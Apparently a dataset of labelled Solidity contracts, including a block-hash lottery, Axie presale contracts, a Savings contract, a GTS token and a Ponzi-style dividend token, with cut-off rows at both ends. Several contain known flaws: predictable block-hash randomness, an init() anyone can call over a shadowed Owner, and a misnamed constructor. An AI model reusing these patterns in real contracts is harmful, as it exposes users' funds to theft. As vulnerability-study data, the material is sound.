((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp))
))) % issued_numbers;
}
function bet(uint256 _amount) private
{
if (block.number != drawnBlockNumber
&& curRoundID > drawnRoundID
&& rounds[drawnRoundID + 1].count == issued_numbers
&& block.number >= rounds[drawnRoundID + 1].blockNumber + 7)
{
drawnBlockNumber = block.number;
drawnRoundID += 1;
rounds[drawnRoundID].winningNumber = drawNumber();
rounds[drawnRoundID].state = DataSet.RoundState.DRAWN;
rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber;
emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber);
}
uint256 amount = _amount;
while (true)
{
uint256 max = issued_numbers - rounds[curRoundID].count;
uint256 available = amount.div(PRICE).min(max);
if (available == 0)
{
if (amount != 0)
{
rounds[curRoundID].pond += amount;
}
break;
}
uint256[] storage numbers = playerNumbers[curRoundID][msg.sender];
uint256 begin = rounds[curRoundID].count;
uint256 end = begin + available - 1;
uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers);
numbers.push(compressedNumber);
rounds[curRoundID].pond += available.mul(PRICE);
rounds[curRoundID].count += available;
amount -= available.mul(PRICE);
emit onBet(msg.sender, block.timestamp, curRoundID, begin, end);
if (rounds[curRoundID].count == issued_numbers)
{
rounds[curRoundID].blockNumber = block.number;
rounds[curRoundID].state = DataSet.RoundState.STOPPED;
curRoundID += 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
emit onStartRunnd(block.timestamp, curRoundID);
}
}
}
function assign(uint256 _roundID) external isHuman() isInitialized()
{
assign2(msg.sender, _roundID);
}
function assign2(address _player, uint256 _roundID) public isHuman() isInitialized()
{
require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning");
uint256[] memory numbers = playerNumbers[_roundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 targetNumber = rounds[_roundID].winningNumber;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]);
if (targetNumber >= start && targetNumber <= end)
{
uint256 fund = rounds[_roundID].pond.sub(bonus);
_player.transfer(bonus);
platform.transfer(fund);
rounds[_roundID].state = DataSet.RoundState.ASSIGNED;
rounds[_roundID].winner = _player;
emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund);
break;
}
}
}
function refund() external isHuman() isInitialized()
{
refund2(msg.sender);
}
function refund2(address _player) public isInitialized() isHuman()
{
require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding");
uint256[] storage numbers = playerNumbers[curRoundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 count = 0;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]);
count += (end - begin + 1);
}
uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100);
rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount);
_player.transfer(amount);
emit onRefund(msg.sender, block.timestamp, _player, count, amount);
rounds[curRoundID].count -= count;
if (rounds[curRoundID].count == 0)
{
uint256 last = rounds[curRoundID].pond;
platform.transfer(last);
rounds[curRoundID].pond = 0;
emit onLastRefund(msg.sender, block.timestamp, platform, last);
}
}
function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[])
{
return playerNumbers[_roundID][_palyer];
}
function getRoundInfo(uint256 _roundID) public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, address)
{
return (
rounds[_roundID].count,
rounds[_roundID].blockNumber,
rounds[_roundID].drawBlockNumber,
uint256(rounds[_roundID].state),
rounds[_roundID].pond,
rounds[_roundID].winningNumber,
rounds[_roundID].winner
);
}
function gameInfo() public view
returns(bool, uint256, uint256, uint256, uint256)
{
return (
initialized,
bonus,
issued_numbers,
curRoundID,
drawnRoundID
);
}
}
contract Proxy {
function implementation() public view returns (address);
function () public payable {
address _impl = implementation();
require(_impl != address(0), "address invalid");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy");
constructor() public {}
function implementation() public view returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation, "new address is the same");
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner");
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner(), "owner only");
_;
}
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
function setUpgradeabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "address is invalid");
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner {
upgradeTo(implementation);
require(address(this).call.value(msg.value)(data), "data is invalid");
}
} | 1 | 4,779 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract HasNoEther is Ownable {
function HasNoEther() payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract AxiePresale is HasNoEther, Pausable {
using SafeMath for uint256;
uint256 constant public PRESALE_END_TIMESTAMP = 1521244799;
uint8 constant public CLASS_BEAST = 0;
uint8 constant public CLASS_AQUATIC = 2;
uint8 constant public CLASS_PLANT = 4;
uint256 constant public INITIAL_PRICE_INCREMENT = 1600 szabo;
uint256 constant public INITIAL_PRICE = INITIAL_PRICE_INCREMENT;
uint256 constant public REF_CREDITS_PER_AXIE = 5;
mapping (uint8 => uint256) public currentPrices;
mapping (uint8 => uint256) public priceIncrements;
mapping (uint8 => uint256) public totalAxiesAdopted;
mapping (address => mapping (uint8 => uint256)) public axiesAdopted;
mapping (address => uint256) public referralCredits;
mapping (address => uint256) public axiesRewarded;
uint256 public totalAxiesRewarded;
event AxiesAdopted(
address indexed adopter,
uint8 indexed clazz,
uint256 quantity,
address indexed referrer
);
event AxiesRewarded(address indexed receiver, uint256 quantity);
event AdoptedAxiesRedeemed(address indexed receiver, uint8 indexed clazz, uint256 quantity);
event RewardedAxiesRedeemed(address indexed receiver, uint256 quantity);
function AxiePresale() public {
priceIncrements[CLASS_BEAST] = priceIncrements[CLASS_AQUATIC] =
priceIncrements[CLASS_PLANT] = INITIAL_PRICE_INCREMENT;
currentPrices[CLASS_BEAST] = currentPrices[CLASS_AQUATIC] =
currentPrices[CLASS_PLANT] = INITIAL_PRICE;
}
function axiesPrice(
uint256 beastQuantity,
uint256 aquaticQuantity,
uint256 plantQuantity
)
public
view
returns (uint256 totalPrice)
{
uint256 price;
(price,,) = _axiesPrice(CLASS_BEAST, beastQuantity);
totalPrice = totalPrice.add(price);
(price,,) = _axiesPrice(CLASS_AQUATIC, aquaticQuantity);
totalPrice = totalPrice.add(price);
(price,,) = _axiesPrice(CLASS_PLANT, plantQuantity);
totalPrice = totalPrice.add(price);
}
function adoptAxies(
uint256 beastQuantity,
uint256 aquaticQuantity,
uint256 plantQuantity,
address referrer
)
public
payable
whenNotPaused
{
require(now <= PRESALE_END_TIMESTAMP);
require(beastQuantity <= 3);
require(aquaticQuantity <= 3);
require(plantQuantity <= 3);
address adopter = msg.sender;
address actualReferrer = 0x0;
if (referrer != adopter) {
actualReferrer = referrer;
}
uint256 value = msg.value;
uint256 price;
if (beastQuantity > 0) {
price = _adoptAxies(
adopter,
CLASS_BEAST,
beastQuantity,
actualReferrer
);
require(value >= price);
value -= price;
}
if (aquaticQuantity > 0) {
price = _adoptAxies(
adopter,
CLASS_AQUATIC,
aquaticQuantity,
actualReferrer
);
require(value >= price);
value -= price;
}
if (plantQuantity > 0) {
price = _adoptAxies(
adopter,
CLASS_PLANT,
plantQuantity,
actualReferrer
);
require(value >= price);
value -= price;
}
msg.sender.transfer(value);
if (actualReferrer != 0x0) {
uint256 numCredit = referralCredits[actualReferrer]
.add(beastQuantity)
.add(aquaticQuantity)
.add(plantQuantity);
uint256 numReward = numCredit / REF_CREDITS_PER_AXIE;
if (numReward > 0) {
referralCredits[actualReferrer] = numCredit % REF_CREDITS_PER_AXIE;
axiesRewarded[actualReferrer] = axiesRewarded[actualReferrer].add(numReward);
totalAxiesRewarded = totalAxiesRewarded.add(numReward);
AxiesRewarded(actualReferrer, numReward);
} else {
referralCredits[actualReferrer] = numCredit;
}
}
}
function redeemAdoptedAxies(
address receiver,
uint256 beastQuantity,
uint256 aquaticQuantity,
uint256 plantQuantity
)
public
onlyOwner
returns (
uint256 ,
uint256 ,
uint256
)
{
return (
_redeemAdoptedAxies(receiver, CLASS_BEAST, beastQuantity),
_redeemAdoptedAxies(receiver, CLASS_AQUATIC, aquaticQuantity),
_redeemAdoptedAxies(receiver, CLASS_PLANT, plantQuantity)
);
}
function redeemRewardedAxies(
address receiver,
uint256 quantity
)
public
onlyOwner
returns (uint256 remainingQuantity)
{
remainingQuantity = axiesRewarded[receiver] = axiesRewarded[receiver].sub(quantity);
if (quantity > 0) {
totalAxiesRewarded -= quantity;
RewardedAxiesRedeemed(receiver, quantity);
}
}
function _axiesPrice(
uint8 clazz,
uint256 quantity
)
private
view
returns (uint256 totalPrice, uint256 priceIncrement, uint256 currentPrice)
{
priceIncrement = priceIncrements[clazz];
currentPrice = currentPrices[clazz];
uint256 nextPrice;
for (uint256 i = 0; i < quantity; i++) {
totalPrice = totalPrice.add(currentPrice);
nextPrice = currentPrice.add(priceIncrement);
if (nextPrice / 100 finney != currentPrice / 100 finney) {
priceIncrement >>= 1;
}
currentPrice = nextPrice;
}
}
function _adoptAxies(
address adopter,
uint8 clazz,
uint256 quantity,
address referrer
)
private
returns (uint256 totalPrice)
{
(totalPrice, priceIncrements[clazz], currentPrices[clazz]) = _axiesPrice(clazz, quantity);
axiesAdopted[adopter][clazz] = axiesAdopted[adopter][clazz].add(quantity);
totalAxiesAdopted[clazz] = totalAxiesAdopted[clazz].add(quantity);
AxiesAdopted(
adopter,
clazz,
quantity,
referrer
);
}
function _redeemAdoptedAxies(
address receiver,
uint8 clazz,
uint256 quantity
)
private
returns (uint256 remainingQuantity)
{
remainingQuantity = axiesAdopted[receiver][clazz] = axiesAdopted[receiver][clazz].sub(quantity);
if (quantity > 0) {
totalAxiesAdopted[clazz] -= quantity;
AdoptedAxiesRedeemed(receiver, clazz, quantity);
}
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract AxiePresaleExtended is HasNoContracts, Pausable {
using SafeMath for uint256;
uint256 constant public PRESALE_END_TIMESTAMP = 1523923199;
uint256 constant public MAX_TOTAL_ADOPTED_AXIES = 5250;
uint8 constant public CLASS_BEAST = 0;
uint8 constant public CLASS_AQUATIC = 2;
uint8 constant public CLASS_PLANT = 4;
uint256 constant public INITIAL_PRICE_INCREMENT = 1600 szabo;
uint256 constant public INITIAL_PRICE = INITIAL_PRICE_INCREMENT;
uint256 constant public REF_CREDITS_PER_AXIE = 5;
AxiePresale public presaleContract;
address public redemptionAddress;
mapping (uint8 => uint256) public currentPrice;
mapping (uint8 => uint256) public priceIncrement;
mapping (uint8 => uint256) private _totalAdoptedAxies;
mapping (uint8 => uint256) private _totalDeductedAdoptedAxies;
mapping (address => mapping (uint8 => uint256)) private _numAdoptedAxies;
mapping (address => mapping (uint8 => uint256)) private _numDeductedAdoptedAxies;
mapping (address => uint256) private _numRefCredits;
mapping (address => uint256) private _numDeductedRefCredits;
uint256 public numBountyCredits;
uint256 private _totalRewardedAxies;
uint256 private _totalDeductedRewardedAxies;
mapping (address => uint256) private _numRewardedAxies;
mapping (address => uint256) private _numDeductedRewardedAxies;
event AxiesAdopted(
address indexed _adopter,
uint8 indexed _class,
uint256 _quantity,
address indexed _referrer
);
event AxiesRewarded(address indexed _receiver, uint256 _quantity);
event AdoptedAxiesRedeemed(address indexed _receiver, uint8 indexed _class, uint256 _quantity);
event RewardedAxiesRedeemed(address indexed _receiver, uint256 _quantity);
event RefCreditsMinted(address indexed _receiver, uint256 _numMintedCredits);
function AxiePresaleExtended() public payable {
require(msg.value == 0);
paused = true;
numBountyCredits = 300;
}
function () external payable {
require(msg.sender == address(presaleContract));
}
modifier whenNotInitialized {
require(presaleContract == address(0));
_;
}
modifier whenInitialized {
require(presaleContract != address(0));
_;
}
modifier onlyRedemptionAddress {
require(msg.sender == redemptionAddress);
_;
}
function reclaimEther() external onlyOwner whenInitialized {
presaleContract.reclaimEther();
owner.transfer(this.balance);
}
function initialize(address _presaleAddress) external onlyOwner whenNotInitialized {
presaleContract = AxiePresale(_presaleAddress);
presaleContract.pause();
priceIncrement[CLASS_BEAST] = presaleContract.priceIncrements(CLASS_BEAST);
priceIncrement[CLASS_AQUATIC] = presaleContract.priceIncrements(CLASS_AQUATIC);
priceIncrement[CLASS_PLANT] = presaleContract.priceIncrements(CLASS_PLANT);
currentPrice[CLASS_BEAST] = presaleContract.currentPrices(CLASS_BEAST);
currentPrice[CLASS_AQUATIC] = presaleContract.currentPrices(CLASS_AQUATIC);
currentPrice[CLASS_PLANT] = presaleContract.currentPrices(CLASS_PLANT);
paused = false;
}
function setRedemptionAddress(address _redemptionAddress) external onlyOwner whenInitialized {
redemptionAddress = _redemptionAddress;
}
function totalAdoptedAxies(
uint8 _class,
bool _deduction
)
external
view
whenInitialized
returns (uint256 _number)
{
_number = _totalAdoptedAxies[_class]
.add(presaleContract.totalAxiesAdopted(_class));
if (_deduction) {
_number = _number.sub(_totalDeductedAdoptedAxies[_class]);
}
}
function numAdoptedAxies(
address _owner,
uint8 _class,
bool _deduction
)
external
view
whenInitialized
returns (uint256 _number)
{
_number = _numAdoptedAxies[_owner][_class]
.add(presaleContract.axiesAdopted(_owner, _class));
if (_deduction) {
_number = _number.sub(_numDeductedAdoptedAxies[_owner][_class]);
}
}
function numRefCredits(
address _owner,
bool _deduction
)
external
view
whenInitialized
returns (uint256 _number)
{
_number = _numRefCredits[_owner]
.add(presaleContract.referralCredits(_owner));
if (_deduction) {
_number = _number.sub(_numDeductedRefCredits[_owner]);
}
}
function totalRewardedAxies(
bool _deduction
)
external
view
whenInitialized
returns (uint256 _number)
{
_number = _totalRewardedAxies
.add(presaleContract.totalAxiesRewarded());
if (_deduction) {
_number = _number.sub(_totalDeductedRewardedAxies);
}
}
function numRewardedAxies(
address _owner,
bool _deduction
)
external
view
whenInitialized
returns (uint256 _number)
{
_number = _numRewardedAxies[_owner]
.add(presaleContract.axiesRewarded(_owner));
if (_deduction) {
_number = _number.sub(_numDeductedRewardedAxies[_owner]);
}
}
function axiesPrice(
uint256 _beastQuantity,
uint256 _aquaticQuantity,
uint256 _plantQuantity
)
external
view
whenInitialized
returns (uint256 _totalPrice)
{
uint256 price;
(price,,) = _sameClassAxiesPrice(CLASS_BEAST, _beastQuantity);
_totalPrice = _totalPrice.add(price);
(price,,) = _sameClassAxiesPrice(CLASS_AQUATIC, _aquaticQuantity);
_totalPrice = _totalPrice.add(price);
(price,,) = _sameClassAxiesPrice(CLASS_PLANT, _plantQuantity);
_totalPrice = _totalPrice.add(price);
}
function adoptAxies(
uint256 _beastQuantity,
uint256 _aquaticQuantity,
uint256 _plantQuantity,
address _referrer
)
external
payable
whenInitialized
whenNotPaused
{
require(now <= PRESALE_END_TIMESTAMP);
require(_beastQuantity <= 3 && _aquaticQuantity <= 3 && _plantQuantity <= 3);
uint256 _totalAdopted = this.totalAdoptedAxies(CLASS_BEAST, false)
.add(this.totalAdoptedAxies(CLASS_AQUATIC, false))
.add(this.totalAdoptedAxies(CLASS_PLANT, false))
.add(_beastQuantity)
.add(_aquaticQuantity)
.add(_plantQuantity);
require(_totalAdopted <= MAX_TOTAL_ADOPTED_AXIES);
address _adopter = msg.sender;
address _actualReferrer = 0x0;
if (_referrer != _adopter) {
_actualReferrer = _referrer;
}
uint256 _value = msg.value;
uint256 _price;
if (_beastQuantity > 0) {
_price = _adoptSameClassAxies(
_adopter,
CLASS_BEAST,
_beastQuantity,
_actualReferrer
);
require(_value >= _price);
_value -= _price;
}
if (_aquaticQuantity > 0) {
_price = _adoptSameClassAxies(
_adopter,
CLASS_AQUATIC,
_aquaticQuantity,
_actualReferrer
);
require(_value >= _price);
_value -= _price;
}
if (_plantQuantity > 0) {
_price = _adoptSameClassAxies(
_adopter,
CLASS_PLANT,
_plantQuantity,
_actualReferrer
);
require(_value >= _price);
_value -= _price;
}
msg.sender.transfer(_value);
if (_actualReferrer != 0x0) {
_applyRefCredits(
_actualReferrer,
_beastQuantity.add(_aquaticQuantity).add(_plantQuantity)
);
}
}
function mintRefCredits(
address _receiver,
uint256 _numMintedCredits
)
external
onlyOwner
whenInitialized
returns (uint256)
{
require(_receiver != address(0));
numBountyCredits = numBountyCredits.sub(_numMintedCredits);
_applyRefCredits(_receiver, _numMintedCredits);
RefCreditsMinted(_receiver, _numMintedCredits);
return numBountyCredits;
}
function redeemAdoptedAxies(
address _receiver,
uint256 _beastQuantity,
uint256 _aquaticQuantity,
uint256 _plantQuantity
)
external
onlyRedemptionAddress
whenInitialized
returns (
uint256 ,
uint256 ,
uint256
)
{
return (
_redeemSameClassAdoptedAxies(_receiver, CLASS_BEAST, _beastQuantity),
_redeemSameClassAdoptedAxies(_receiver, CLASS_AQUATIC, _aquaticQuantity),
_redeemSameClassAdoptedAxies(_receiver, CLASS_PLANT, _plantQuantity)
);
}
function redeemRewardedAxies(
address _receiver,
uint256 _quantity
)
external
onlyRedemptionAddress
whenInitialized
returns (uint256 _remainingQuantity)
{
_remainingQuantity = this.numRewardedAxies(_receiver, true).sub(_quantity);
if (_quantity > 0) {
_numDeductedRewardedAxies[_receiver] = _numDeductedRewardedAxies[_receiver].add(_quantity);
_totalDeductedRewardedAxies = _totalDeductedRewardedAxies.add(_quantity);
RewardedAxiesRedeemed(_receiver, _quantity);
}
}
function _sameClassAxiesPrice(
uint8 _class,
uint256 _quantity
)
private
view
returns (
uint256 _totalPrice,
uint256 _currentIncrement,
uint256 _currentPrice
)
{
_currentIncrement = priceIncrement[_class];
_currentPrice = currentPrice[_class];
uint256 _nextPrice;
for (uint256 i = 0; i < _quantity; i++) {
_totalPrice = _totalPrice.add(_currentPrice);
_nextPrice = _currentPrice.add(_currentIncrement);
if (_nextPrice / 100 finney != _currentPrice / 100 finney) {
_currentIncrement >>= 1;
}
_currentPrice = _nextPrice;
}
}
function _adoptSameClassAxies(
address _adopter,
uint8 _class,
uint256 _quantity,
address _referrer
)
private
returns (uint256 _totalPrice)
{
(_totalPrice, priceIncrement[_class], currentPrice[_class]) = _sameClassAxiesPrice(_class, _quantity);
_numAdoptedAxies[_adopter][_class] = _numAdoptedAxies[_adopter][_class].add(_quantity);
_totalAdoptedAxies[_class] = _totalAdoptedAxies[_class].add(_quantity);
AxiesAdopted(
_adopter,
_class,
_quantity,
_referrer
);
}
function _applyRefCredits(address _receiver, uint256 _numAppliedCredits) private {
_numRefCredits[_receiver] = _numRefCredits[_receiver].add(_numAppliedCredits);
uint256 _numCredits = this.numRefCredits(_receiver, true);
uint256 _numRewards = _numCredits / REF_CREDITS_PER_AXIE;
if (_numRewards > 0) {
_numDeductedRefCredits[_receiver] = _numDeductedRefCredits[_receiver]
.add(_numRewards.mul(REF_CREDITS_PER_AXIE));
_numRewardedAxies[_receiver] = _numRewardedAxies[_receiver].add(_numRewards);
_totalRewardedAxies = _totalRewardedAxies.add(_numRewards);
AxiesRewarded(_receiver, _numRewards);
}
}
function _redeemSameClassAdoptedAxies(
address _receiver,
uint8 _class,
uint256 _quantity
)
private
returns (uint256 _remainingQuantity)
{
_remainingQuantity = this.numAdoptedAxies(_receiver, _class, true).sub(_quantity);
if (_quantity > 0) {
_numDeductedAdoptedAxies[_receiver][_class] = _numDeductedAdoptedAxies[_receiver][_class].add(_quantity);
_totalDeductedAdoptedAxies[_class] = _totalDeductedAdoptedAxies[_class].add(_quantity);
AdoptedAxiesRedeemed(_receiver, _class, _quantity);
}
}
} | 1 | 5,353 |
pragma solidity ^0.4.17;
contract Ownable {
address public Owner;
function Ownable() { Owner = msg.sender; }
function isOwner() internal constant returns (bool) { return(Owner == msg.sender); }
}
contract Savings is Ownable {
address public Owner;
mapping (address => uint) public deposits;
uint public openDate;
event Initialized(address indexed Owner, uint OpenDate);
event Deposit(address indexed Depositor, uint Amount);
event Withdrawal(address indexed Withdrawer, uint Amount);
function init(uint open) payable {
Owner = msg.sender;
openDate = open;
Initialized(Owner, open);
}
function() payable { deposit(); }
function deposit() payable {
if (msg.value >= 1 ether) {
deposits[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
}
function withdraw(uint amount) payable {
if (isOwner() && now >= openDate) {
uint max = deposits[msg.sender];
if (amount <= max && max > 0) {
msg.sender.transfer(amount);
}
}
}
function kill() payable {
if (isOwner() && this.balance == 0) {
selfdestruct(msg.sender);
}
}
} | 1 | 3,748 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract DestoryBasic {
address destoryAddress;
function setDestoryAddress(address _destory) {
destoryAddress = _destory;
}
function ifDestory(address from) returns (bool) {
if (from == destoryAddress) {
return true;
}
return false;
}
}
contract BasicToken is ERC20Basic,DestoryBasic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
if(ifDestory(msg.sender)) throw;
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
if(ifDestory(msg.sender)) throw;
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw ;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract GTSTOKEN is StandardToken,Ownable {
using SafeMath for uint;
string public name = "GTSTOKEN";
string public symbol = "GTS";
uint public decimals = 9;
uint public totalSupply = 10000000000 * (10 ** decimals);
uint lockTotal = 4000000000 * (10 ** decimals);
uint public releaseTotal = 500000000 * (10 ** decimals);
uint lockTime = 0;
function GTSTOKEN (address admin_) {
lockTime = 1518192000;
owner = admin_;
setDestoryAddress(address(0x0));
balances[admin_] = totalSupply - lockTotal;
}
function release() onlyOwner {
if (lockTime + 1 years > now) {
throw;
}
if ( lockTotal == 0 ) {
throw;
}
lockTotal = lockTotal.sub(releaseTotal);
balances[owner] = balances[owner].add(releaseTotal);
lockTime = lockTime + 1 years;
return;
}
} | 1 | 4,413 |
pragma solidity ^0.4.11;
contract SML {
uint256 constant PRECISION = 0x10000000000000000;
int constant CRRN = 4;
int constant CRRD = 5;
int constant LOGC = -0x678adeacb985cb06;
string constant public name = "数码链";
string constant public symbol = "SML";
uint8 constant public decimals = 13;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => int256) payouts;
int256 totalPayouts;
uint256 earningsPerShare;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
address owner;
function PonziToken() {
owner = msg.sender;
}
function transferTokens(address _from, address _to, uint256 _value) internal {
if (balanceOf[_from] < _value)
throw;
if (_to == address(this)) {
sell(_value);
} else {
int256 payoutDiff = (int256) (earningsPerShare * _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
payouts[_from] -= payoutDiff;
payouts[_to] += payoutDiff;
}
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) external {
transferTokens(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowance[_from][msg.sender];
if (_allowance < _value)
throw;
allowance[_from][msg.sender] = _allowance - _value;
transferTokens(_from, _to, _value);
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerShare * balanceOf[_owner]) - payouts[_owner]) / PRECISION;
}
function withdraw(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return this.balance - msg.value;
}
function reserve() public constant returns (uint256 amount) {
return balance()
- ((uint256) ((int256) (earningsPerShare * totalSupply) - totalPayouts) / PRECISION) - 1;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
throw;
var sender = msg.sender;
var fee = (uint)(msg.value / 20000);
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerfee = fee * PRECISION;
if (totalSupply > 0) {
var holderreward =
(PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther)
* (uint)(CRRD) / (uint)(CRRD-CRRN);
var holderfee = fee * holderreward;
buyerfee -= holderfee;
var feePerShare = holderfee / totalSupply;
earningsPerShare += feePerShare;
}
totalSupply += numTokens;
balanceOf[sender] += numTokens;
var payoutDiff = (int256) ((earningsPerShare * numTokens) - buyerfee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthers = getEtherForTokens(amount);
totalSupply -= amount;
balanceOf[msg.sender] -= amount;
var payoutDiff = (int256) (earningsPerShare * amount + (numEthers * PRECISION));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
}
